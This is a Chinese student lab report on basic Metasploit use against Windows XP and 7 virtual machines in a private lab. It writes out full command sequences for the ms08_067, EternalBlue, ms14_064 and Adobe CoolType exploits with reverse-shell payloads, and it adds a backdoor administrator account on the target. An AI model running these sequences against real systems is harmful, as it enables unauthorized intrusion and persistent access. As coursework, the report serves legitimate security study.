zoukankan      html  css  js  c++  java
  • 2019-2020-2《网络对抗技术》 Exp6 MSF基础应用

    实践目标

    • 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

    回答实践问题

    • 1.用自己的话解释什么是exploit,payload,encode。

      • exploit:就是渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
      • payload:就是载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
      • encode:就是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。
    • 离实战还缺些什么技术或步骤?

      • 获得主机的真实 IP 地址。

        现在大部分的服务器都是使用的外服务器保护、容器技术等等。直接获得到的 IP 基本上都不是真正的中心服务器 IP 。

      • 突破防火墙。

      • 目前实验中的漏洞很多都已经修复,微软官方都已经不再对 Windows XP、7 提供支持。我所学的也只是皮毛,单纯地去应用,不了解更深入的知识。

    实践环境

    • 攻击机:kali

      IP:192.168.3.101

    • 靶机:

      • Windows XP Professional

        IP:192.168.3.131

      • Windows 7

        IP :192.168.3.111

    • 攻击软件:metasploit

    实践过程

    主动攻击的实践

    ms08_067
    • 测试靶机是否存在此漏洞:

      • 查看靶机OS版本信息:

        nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.3.131
        
      • Host script results 字段可以看到靶机有这个漏洞。

    • 打开MSF控制台:

      msfconsole
      
    • search m08-067 查看漏洞的具体模块位置:

    • 使用如下命令对靶机进行攻击, 使用show payloads,查看能够使用的payloads

      use exploit/windows/smb/ms08_067_netapi
      show payloads
      

    • 设置payload为反向tcp连接,查看可以设置的参数:

      set payload generic/shell_reverse_tcp
      show options
      

    • 设置参数:

      set RHOST 192.168.3.131 //设置靶机IP,端口默认为445
      set LPORT xxxx //成功后回连主机端口5330
      set LHOST 192.168.3.101 //设置攻击机IP
      exploit //攻击
      
    • 攻击成功后,查看靶机 IP 地址。

    针对浏览器的攻击

    ms17_010_eternalblue
    • 此处需要使用 Windows 7 系统,IP :192.168.3.111。

    • 操作步骤:

      use exploit/windows/smb/ms17_010_eternalblue   //进入模块
      show payloads    //显示可用载荷
      set payload generic/shell_reverse_tcp  
      set RHOST 192.168.3.111 //设置靶机IP,端口默认为445
      set LPORT xxxx //成功后回连主机端口
      set LHOST 192.168.3.101 //设置攻击机IP
      exploit //发起渗透攻击
      

    • 在靶机浏览器输入https://攻击机IP:监听端口 ,即可获取权限,显示 IP 。

    ms14_064
    • search ms14_064,搜索该漏洞存在的模块

    • 选择模块、查看漏洞相关信息。

      use exploit/windows/browser/ms14_064_ole_code_execution
      

    • 发起攻击。

      set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
      set SRVHOST 192.168.3.101 //设置攻方IP
      set LHOST 192.168.3.101
      set LPORT xxxx
      exploit //发起攻击
      
    • 将提示中的URL输入至靶机IE浏览器中,之后可以看到已经成功建立了会话:

    • 输入sessions -i 1即可选择第一个会话,调用shell权限成功,ipconfig后,我们确认靶机IP就是攻击目标192.168.3.131

    • 在靶机上创建一个新用户

      net user   //查看当前用户信息
      net user ymy xxxx /add   //添加用户名zxy,密码1234的账户
      //进入C://WINDOWS/system32
      net localgroup administrators ymy /add   //对该账户进行提权
      
    • 可以用该账户进行登录.

    针对客户端的攻击

    Adobe

    • 进行查找adobe相关的攻击模块。

      search adobe
      

    • 设置模块,设置payload,并查看要设置的参数

    •   use windows/fileformat/adobe_cooltype_sing
          set payload windows/meterpreter/reverse_tcp
          show options
      
    • 设置参数

      show options //查看详细信息
      set LPORT xxxx //设置端口号
      set LHOST 192.168.3.101 //设置攻击机IP地址
      exploit //攻击
      

    • 打开另一终端监听。

      msfconsole
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.3.101
      set LPORT xxxx
      exploit
      
    • 靶机中打开pdf文件,攻击成功.

    成功应用任何一个辅助模块

    cert辅助模块

    • cert的扫描仪模块是一个有用的管理扫描仪,可以覆盖一个子网来检查服务器证书是否过期.

    • 输入search cert首先查看辅助模块cert辅助模块的信息

    • 设置参数

      use auxiliary/scanner/telnet/telnet_version
      set RHOSTS 192.168.3.0/24
      set THREADS 50
      run
      

    • 看到局域网内的活动的主机。

    TCP"XMas"端口扫描

    • 该模块的主要作用是判断端口是开放还是关闭,结果表示端口是开放或者被过滤(屏蔽)的.

    • 输入search xmas首先查看xmas辅助模块的信息

    • 设置参数

      use auxiliary/scanner/portscan/xmas
      set RHOST 192.168.3.101
      set ports xxxx
      run
      

    实验总结与体会

    • 本次实验从多个角度对一台主机进行攻击或者信息收集。主动攻击、利用客户端软件的漏洞、利用浏览器渗透都是平常非常容易接触到的,最近也有许多服务器被劫持的案例,所以更新杀软库、养成良好的上网习惯至关重要。
  • 相关阅读:
    Cookie和Session
    Csrf
    Django中间件
    ORM操作
    Django框架简介
    Django之模型的高级用法
    Linux基础(二)之命令
    01 numpy库(一)
    Django之缓存配置
    20 Django REST Framework 更改PUT/PATCH/DELETE的传参字段,默认为pk
  • 原文地址:https://www.cnblogs.com/Yogile/p/12815414.html
Copyright © 2011-2022 走看看